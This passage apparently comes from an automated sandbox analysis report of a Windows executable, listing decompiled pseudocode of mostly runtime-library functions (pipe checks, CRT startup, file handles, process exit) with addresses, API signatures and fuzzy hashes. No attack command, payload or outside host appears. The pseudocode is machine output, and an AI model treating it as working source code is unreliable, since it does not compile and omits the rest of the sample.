				 *((short*)(__r9 + 6)) =  ==  ? 0x2000 : 0x1000;
				if (_t61 == 2) goto 0xda8e48a6;
				_v128 = _v128 & 0x00000000;
				_v136 =  &_v120;
				r9d = 0;
				r8d = 0;
				if (PeekNamedPipe(??, ??, ??, ??, ??, ??) == 0) goto 0xda8e48a6;
				 *(__r9 + 0x14) = _v120;
				return E00007FF77FF7DA8DACF0(r15b, _v120, _v56 ^ _t102 - 0x00000080);
			}


























                                                                                                                              0x7ff7da8e4724
                                                                                                                              0x7ff7da8e473a
                                                                                                                              0x7ff7da8e4741
                                                                                                                              0x7ff7da8e4744
                                                                                                                              0x7ff7da8e4754
                                                                                                                              0x7ff7da8e4757
                                                                                                                              0x7ff7da8e475f
                                                                                                                              0x7ff7da8e4765
                                                                                                                              0x7ff7da8e476c
                                                                                                                              0x7ff7da8e4772
                                                                                                                              0x7ff7da8e477a
                                                                                                                              0x7ff7da8e477c
                                                                                                                              0x7ff7da8e478e
                                                                                                                              0x7ff7da8e4797
                                                                                                                              0x7ff7da8e4799
                                                                                                                              0x7ff7da8e479c
                                                                                                                              0x7ff7da8e479e
                                                                                                                              0x7ff7da8e47aa
                                                                                                                              0x7ff7da8e47ae
                                                                                                                              0x7ff7da8e47b1
                                                                                                                              0x7ff7da8e47b5
                                                                                                                              0x7ff7da8e47b9
                                                                                                                              0x7ff7da8e47c1
                                                                                                                              0x7ff7da8e47c7
                                                                                                                              0x7ff7da8e47ca
                                                                                                                              0x7ff7da8e47d8
                                                                                                                              0x7ff7da8e47dc
                                                                                                                              0x7ff7da8e47e8
                                                                                                                              0x7ff7da8e47ec
                                                                                                                              0x7ff7da8e47f5
                                                                                                                              0x7ff7da8e47f9
                                                                                                                              0x7ff7da8e47fd
                                                                                                                              0x7ff7da8e4802
                                                                                                                              0x7ff7da8e4806
                                                                                                                              0x7ff7da8e480e
                                                                                                                              0x7ff7da8e4810
                                                                                                                              0x7ff7da8e4818
                                                                                                                              0x7ff7da8e481a
                                                                                                                              0x7ff7da8e481d
                                                                                                                              0x7ff7da8e4822
                                                                                                                              0x7ff7da8e4827
                                                                                                                              0x7ff7da8e482d
                                                                                                                              0x7ff7da8e482f
                                                                                                                              0x7ff7da8e4835
                                                                                                                              0x7ff7da8e4839
                                                                                                                              0x7ff7da8e483b
                                                                                                                              0x7ff7da8e4840
                                                                                                                              0x7ff7da8e4848
                                                                                                                              0x7ff7da8e4850
                                                                                                                              0x7ff7da8e4852
                                                                                                                              0x7ff7da8e4857
                                                                                                                              0x7ff7da8e485c
                                                                                                                              0x7ff7da8e4866
                                                                                                                              0x7ff7da8e486f
                                                                                                                              0x7ff7da8e4872
                                                                                                                              0x7ff7da8e4876
                                                                                                                              0x7ff7da8e487a
                                                                                                                              0x7ff7da8e487c
                                                                                                                              0x7ff7da8e4886
                                                                                                                              0x7ff7da8e488b
                                                                                                                              0x7ff7da8e4891
                                                                                                                              0x7ff7da8e489e
                                                                                                                              0x7ff7da8e48a3
                                                                                                                              0x7ff7da8e48cb

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: File$ErrorHandleInformationLastNamedPeekPipeType
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2780335769-0
                                                                                                                              • Opcode ID: d63e1d5f4f664f7d448d3fdfa223882025be55e07d60f456332d5d4c6abb6cae
                                                                                                                              • Instruction ID: fa749ce9de02eecb2957cc2eb35038be2d99fd49411a21dd05200126516d2b71
                                                                                                                              • Opcode Fuzzy Hash: d63e1d5f4f664f7d448d3fdfa223882025be55e07d60f456332d5d4c6abb6cae
                                                                                                                              • Instruction Fuzzy Hash: 0351C022E082928AF711EFB1D4403BCB3A1BB64B58F904536DE1D5768ADF3ED5608320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DAE5C Relevance: 6.1, APIs: 4, Instructions: 94COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 85%
                                                                                                                              			E00007FF77FF7DA8DAE5C(intOrPtr* __rax, long long __rbx, void* __r8, long long _a8) {
				char _v24;
				void* _t8;
				void* _t9;
				void* _t10;
				signed short _t20;
				void* _t22;
				void* _t26;
				intOrPtr _t35;
				intOrPtr* _t54;
				intOrPtr* _t55;

				_t56 = __rbx;
				_t54 = __rax;
				_a8 = __rbx;
				_t8 = E00007FF77FF7DA8DB2CC(1); // executed
				if (_t8 == 0) goto 0xda8dafa8;
				dil = 0;
				_v24 = dil;
				_t9 = E00007FF77FF7DA8DB290();
				_t35 =  *0xda91c560; // 0x2
				if (_t35 == 1) goto 0xda8dafb3;
				if (_t35 != 0) goto 0xda8daee4;
				 *0xda91c560 = 1;
				_t10 = E00007FF77FF7DA8E85C4(__rbx, 0xda8fa468, 0xda8fa4a8); // executed
				if (_t10 == 0) goto 0xda8daec5;
				goto 0xda8daf9d;
				E00007FF77FF7DA8E8580(_t56, 0xda8fa450, 0xda8fa460); // executed
				 *0xda91c560 = 2;
				goto 0xda8daeec;
				dil = 1;
				_v24 = dil;
				E00007FF77FF7DA8DB5E4(E00007FF77FF7DA8DB43C(_t9, 0xda8fa460));
				if ( *_t54 == 0) goto 0xda8daf1f;
				if (E00007FF77FF7DA8DB3A4(_t54, _t54) == 0) goto 0xda8daf1f;
				r8d = 0;
				_t55 =  *_t54;
				E00007FF77FF7DA8DB5EC( *0xda8fa428());
				if ( *_t55 == 0) goto 0xda8daf41;
				if (E00007FF77FF7DA8DB3A4(_t55, _t55) == 0) goto 0xda8daf41;
				E00007FF77FF7DA8E88D4( *_t55);
				_t20 = E00007FF77FF7DA8DB748(0xda8fa460);
				E00007FF77FF7DA8E852C();
				r9d = _t20 & 0x0000ffff;
				_t72 = _t55;
				_t22 = E00007FF77FF7DA8D1000(_t55); // executed
				if (E00007FF77FF7DA8DB78C(_t55) == 0) goto 0xda8dafbd;
				if (dil != 0) goto 0xda8daf77;
				E00007FF77FF7DA8E88B8(0x7ff7da8d0000, 0xda8fa460, _t55);
				E00007FF77FF7DA8DB460(1, 0);
				_t26 = _t22;
				if (E00007FF77FF7DA8DB78C(_t55) == 0) goto 0xda8dafc5;
				if (_v24 != 0) goto 0xda8daf9b;
				E00007FF77FF7DA8E88A8(0x7ff7da8d0000, 0xda8fa460, _t72);
				return _t26;
			}













                                                                                                                              0x7ff7da8dae5c
                                                                                                                              0x7ff7da8dae5c
                                                                                                                              0x7ff7da8dae5c
                                                                                                                              0x7ff7da8dae6b
                                                                                                                              0x7ff7da8dae72
                                                                                                                              0x7ff7da8dae78
                                                                                                                              0x7ff7da8dae7b
                                                                                                                              0x7ff7da8dae80
                                                                                                                              0x7ff7da8dae87
                                                                                                                              0x7ff7da8dae90
                                                                                                                              0x7ff7da8dae98
                                                                                                                              0x7ff7da8dae9a
                                                                                                                              0x7ff7da8daeb2
                                                                                                                              0x7ff7da8daeb9
                                                                                                                              0x7ff7da8daec0
                                                                                                                              0x7ff7da8daed3
                                                                                                                              0x7ff7da8daed8
                                                                                                                              0x7ff7da8daee2
                                                                                                                              0x7ff7da8daee4
                                                                                                                              0x7ff7da8daee7
                                                                                                                              0x7ff7da8daef3
                                                                                                                              0x7ff7da8daeff
                                                                                                                              0x7ff7da8daf0b
                                                                                                                              0x7ff7da8daf0d
                                                                                                                              0x7ff7da8daf16
                                                                                                                              0x7ff7da8daf1f
                                                                                                                              0x7ff7da8daf2b
                                                                                                                              0x7ff7da8daf37
                                                                                                                              0x7ff7da8daf3c
                                                                                                                              0x7ff7da8daf41
                                                                                                                              0x7ff7da8daf49
                                                                                                                              0x7ff7da8daf4e
                                                                                                                              0x7ff7da8daf51
                                                                                                                              0x7ff7da8daf5d
                                                                                                                              0x7ff7da8daf6b
                                                                                                                              0x7ff7da8daf70
                                                                                                                              0x7ff7da8daf72
                                                                                                                              0x7ff7da8daf7b
                                                                                                                              0x7ff7da8daf80
                                                                                                                              0x7ff7da8daf8d
                                                                                                                              0x7ff7da8daf94
                                                                                                                              0x7ff7da8daf96
                                                                                                                              0x7ff7da8dafa7

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1452418845-0
                                                                                                                              • Opcode ID: f9463a67af73ecdf476021b69832aa8e37fe24f2495d1c1145be39d635d83d96
                                                                                                                              • Instruction ID: 5f6afc38eacbdcbb3639f0b17e4d601ddf6e86da769ec44f4493976a6ad2f91a
                                                                                                                              • Opcode Fuzzy Hash: f9463a67af73ecdf476021b69832aa8e37fe24f2495d1c1145be39d635d83d96
                                                                                                                              • Instruction Fuzzy Hash: 17313621A0924789FE16BB2494153BDE291BF90754FD848F7ED0E472D3DE2DA9248370
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E45D0 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CloseCreateFileHandle_invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1279662727-0
                                                                                                                              • Opcode ID: d65c13593cf6935a0391c88ec2fb83f7f07440e81e11b809fa8edf9c6efc289f
                                                                                                                              • Instruction ID: 30780369c51df8c862a2d67f19625eec74dc7397d71dd6972650af86e01b571f
                                                                                                                              • Opcode Fuzzy Hash: d65c13593cf6935a0391c88ec2fb83f7f07440e81e11b809fa8edf9c6efc289f
                                                                                                                              • Instruction Fuzzy Hash: 9D419362E18782C3F715AB21950036DA360FBA5764F909376DE9C03AD2DF6EA6F08710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E87D8 Relevance: 4.5, APIs: 3, Instructions: 14COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 28%
                                                                                                                              			E00007FF77FF7DA8E87D8() {
				void* _t6;
				void* _t11;

				if (E00007FF77FF7DA8E880C() == 0) goto 0xda8e87fa;
				GetCurrentProcess();
				E00007FF77FF7DA8E8830(TerminateProcess(??, ??), _t6, _t11);
				ExitProcess(??);
			}





                                                                                                                              0x7ff7da8e87e7
                                                                                                                              0x7ff7da8e87e9
                                                                                                                              0x7ff7da8e87fc
                                                                                                                              0x7ff7da8e8803

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Process$CurrentExitTerminate
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1703294689-0
                                                                                                                              • Opcode ID: 4ddb213536c4213914e1d39c5867685a565ce616895cde70da5e96fb304fa213
                                                                                                                              • Instruction ID: e6fbdfe6263431900afece4bc74d2333f75b3e5c65a8862671ffc359b65bf2ec
                                                                                                                              • Opcode Fuzzy Hash: 4ddb213536c4213914e1d39c5867685a565ce616895cde70da5e96fb304fa213
                                                                                                                              • Instruction Fuzzy Hash: BAD09E10F1874786FA163B715C9517DD2117FA8755FC418BACC5B06393CD2EB5BD8220
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DF2EC Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8DF2EC(intOrPtr* __rax, long long __rbx, void* __rcx, void* __rdx, void* __r8, long long __r9, long long _a8, long long _a32, void* _a40) {

				_a8 = __rbx;
				_a32 = __r9;
				if (__r8 == 0) goto 0xda8df335;
				if (__r9 == 0) goto 0xda8df335;
				if (__rcx != 0) goto 0xda8df34c;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				return 0;
			}



                                                                                                                              0x7ff7da8df2ec
                                                                                                                              0x7ff7da8df2f1
                                                                                                                              0x7ff7da8df319
                                                                                                                              0x7ff7da8df31e
                                                                                                                              0x7ff7da8df323
                                                                                                                              0x7ff7da8df325
                                                                                                                              0x7ff7da8df32a
                                                                                                                              0x7ff7da8df330
                                                                                                                              0x7ff7da8df34b

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 4e38ebb67bc940453e85471c4fa41f8c71406493bfbb1ff44c5ef19ba65e7d48
                                                                                                                              • Instruction ID: cc2b28c19d126d2a3c320a2fd12da7a28884a5951ddb16e3dcaa9219fb11be01
                                                                                                                              • Opcode Fuzzy Hash: 4e38ebb67bc940453e85471c4fa41f8c71406493bfbb1ff44c5ef19ba65e7d48
                                                                                                                              • Instruction Fuzzy Hash: 9251EA61B0A28289FE2AAD25D50067EE591BF40B64FCC4676DD6C477C7EE3CD8219720
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD865146 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 102COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA2000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDBA6000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd860000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: memmove
                                                                                                                              • String ID: ..\s\crypto\asn1\a_bitstr.c
                                                                                                                              • API String ID: 2162964266-730171910
                                                                                                                              • Opcode ID: 5895a73b0c2e654e5348807e6bacfb1ae539d438ddc9506c873446738a522f49
                                                                                                                              • Instruction ID: 81e95c63f4474886df056f2ba753c0a12901dafc783e6f71cc22b6c12f4be85f
                                                                                                                              • Opcode Fuzzy Hash: 5895a73b0c2e654e5348807e6bacfb1ae539d438ddc9506c873446738a522f49
                                                                                                                              • Instruction Fuzzy Hash: 0031C331A1976A86EB118F61A824669EAA0FB04B94F044131EF6C077C5EF3DE951C7B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DAD70 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 67%
                                                                                                                              			E00007FF77FF7DA8DAD70(intOrPtr* __rax) {
				void* __rbx;
				void* _t2;
				intOrPtr _t6;
				void* _t20;
				intOrPtr* _t32;
				void* _t33;
				void* _t34;
				void* _t37;

				_t32 = __rax;
				E00007FF77FF7DA8E7B24(_t2, 2);
				E00007FF77FF7DA8E56EC(E00007FF77FF7DA8DB594(), __rax, _t34);
				_t6 = E00007FF77FF7DA8D53C0();
				E00007FF77FF7DA8E8A70(_t6);
				 *_t32 = _t6;
				if (E00007FF77FF7DA8DB318(1, _t32) == 0) goto 0xda8dae1b;
				E00007FF77FF7DA8DB84C(_t33);
				E00007FF77FF7DA8DB4C8(E00007FF77FF7DA8DB318(1, _t32), _t32);
				if (E00007FF77FF7DA8E7DBC(E00007FF77FF7DA8DB58C(), _t32, _t33, E00007FF77FF7DA8DB890, _t37) != 0) goto 0xda8dae1b;
				E00007FF77FF7DA8DB59C();
				if (E00007FF77FF7DA8DB5D8() == 0) goto 0xda8dade3;
				E00007FF77FF7DA8D3250(E00007FF77FF7DA8D3250(E00007FF77FF7DA8E7B90(_t13, 0x7ff7da8d53c0)));
				E00007FF77FF7DA8E89D0(E00007FF77FF7DA8D53C0(), _t32, 0x7ff7da8d53c0);
				if (E00007FF77FF7DA8DB5B0() == 0) goto 0xda8dae07; // executed
				0xda8e8524(); // executed
				_t20 = E00007FF77FF7DA8D53C0();
				0xda8db784();
				if (_t20 != 0) goto 0xda8dae1b;
				return _t20;
			}











                                                                                                                              0x7ff7da8dad70
                                                                                                                              0x7ff7da8dad7b
                                                                                                                              0x7ff7da8dad87
                                                                                                                              0x7ff7da8dad8c
                                                                                                                              0x7ff7da8dad93
                                                                                                                              0x7ff7da8dad9d
                                                                                                                              0x7ff7da8dada6
                                                                                                                              0x7ff7da8dada8
                                                                                                                              0x7ff7da8dadb4
                                                                                                                              0x7ff7da8dadc7
                                                                                                                              0x7ff7da8dadc9
                                                                                                                              0x7ff7da8dadd5
                                                                                                                              0x7ff7da8dade8
                                                                                                                              0x7ff7da8dadf4
                                                                                                                              0x7ff7da8dae00
                                                                                                                              0x7ff7da8dae02
                                                                                                                              0x7ff7da8dae07
                                                                                                                              0x7ff7da8dae0c
                                                                                                                              0x7ff7da8dae13
                                                                                                                              0x7ff7da8dae1a

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Initialize_invalid_parameter_noinfo_set_fmode
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3548387204-0
                                                                                                                              • Opcode ID: 515fc38de06c00e47728ce5206e52c4fad1dabcef5aec862fceb92a3c70ea36f
                                                                                                                              • Instruction ID: 8a6894f4f406204d3d6b2b42bf3b35df5f12951f50722dfb611e49dc07561f46
                                                                                                                              • Opcode Fuzzy Hash: 515fc38de06c00e47728ce5206e52c4fad1dabcef5aec862fceb92a3c70ea36f
                                                                                                                              • Instruction Fuzzy Hash: F3116910E082438AFE5A77B1445A2BDC1A17F95361FC808B7ED1D872C3EE5DAA708776
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E9F78 Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 75%
                                                                                                                              			E00007FF77FF7DA8E9F78(signed int __ecx, void* __edx, void* __edi, void* __eflags, void* __rax, long long __rbx, void* __rdx, long long __rsi, long long _a8, long long _a16) {
				void* __rdi;
				int _t22;
				long _t29;
				intOrPtr _t51;
				void* _t65;

				_a8 = __rbx;
				_a16 = __rsi;
				_t65 = __rdx;
				E00007FF77FF7DA8E6E48(__edi, __rax);
				if (__rax != 0xffffffff) goto 0xda8e9f9e;
				goto 0xda8e9ff8;
				_t51 =  *0xda91ca20; // 0x17ac7555ac0
				if (__edi != 1) goto 0xda8e9fb8;
				if (( *(_t51 + 0xc8) & dil) != 0) goto 0xda8e9fc5;
				if (__edi != 2) goto 0xda8e9fdc;
				if (( *(_t51 + 0x80) & 0x00000001) == 0) goto 0xda8e9fdc;
				E00007FF77FF7DA8E6E48(2, _t51);
				E00007FF77FF7DA8E6E48(1, _t51);
				if (_t51 == _t51) goto 0xda8e9f9a;
				E00007FF77FF7DA8E6E48(__edi, _t51);
				_t22 = FindCloseChangeNotification(??); // executed
				if (_t22 != 0) goto 0xda8e9f9a;
				_t29 = GetLastError();
				E00007FF77FF7DA8E6D8C(_t23, _t29, __edi, _t51, __ecx, _t65);
				 *((char*)( *((intOrPtr*)(0xda91ca20 + (__ecx >> 6) * 8)) + 0x38 + (__ecx + __ecx * 8) * 8)) = 0;
				if (_t29 == 0) goto 0xda8ea033;
				E00007FF77FF7DA8E4350(_t29, _t65);
				goto 0xda8ea035;
				return 0;
			}








                                                                                                                              0x7ff7da8e9f78
                                                                                                                              0x7ff7da8e9f7d
                                                                                                                              0x7ff7da8e9f8a
                                                                                                                              0x7ff7da8e9f8f
                                                                                                                              0x7ff7da8e9f98
                                                                                                                              0x7ff7da8e9f9c
                                                                                                                              0x7ff7da8e9f9e
                                                                                                                              0x7ff7da8e9fad
                                                                                                                              0x7ff7da8e9fb6
                                                                                                                              0x7ff7da8e9fba
                                                                                                                              0x7ff7da8e9fc3
                                                                                                                              0x7ff7da8e9fc5
                                                                                                                              0x7ff7da8e9fd2
                                                                                                                              0x7ff7da8e9fda
                                                                                                                              0x7ff7da8e9fde
                                                                                                                              0x7ff7da8e9fe6
                                                                                                                              0x7ff7da8e9fee
                                                                                                                              0x7ff7da8e9ff6
                                                                                                                              0x7ff7da8e9ffa
                                                                                                                              0x7ff7da8ea01b
                                                                                                                              0x7ff7da8ea022
                                                                                                                              0x7ff7da8ea029
                                                                                                                              0x7ff7da8ea031
                                                                                                                              0x7ff7da8ea044

                                                                                                                              APIs
                                                                                                                              • FindCloseChangeNotification.KERNEL32(?,?,?,00007FF7DA8E9DF5,?,?,00000000,00007FF7DA8E9EAA), ref: 00007FF7DA8E9FE6
                                                                                                                              • GetLastError.KERNEL32(?,?,?,00007FF7DA8E9DF5,?,?,00000000,00007FF7DA8E9EAA), ref: 00007FF7DA8E9FF0
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
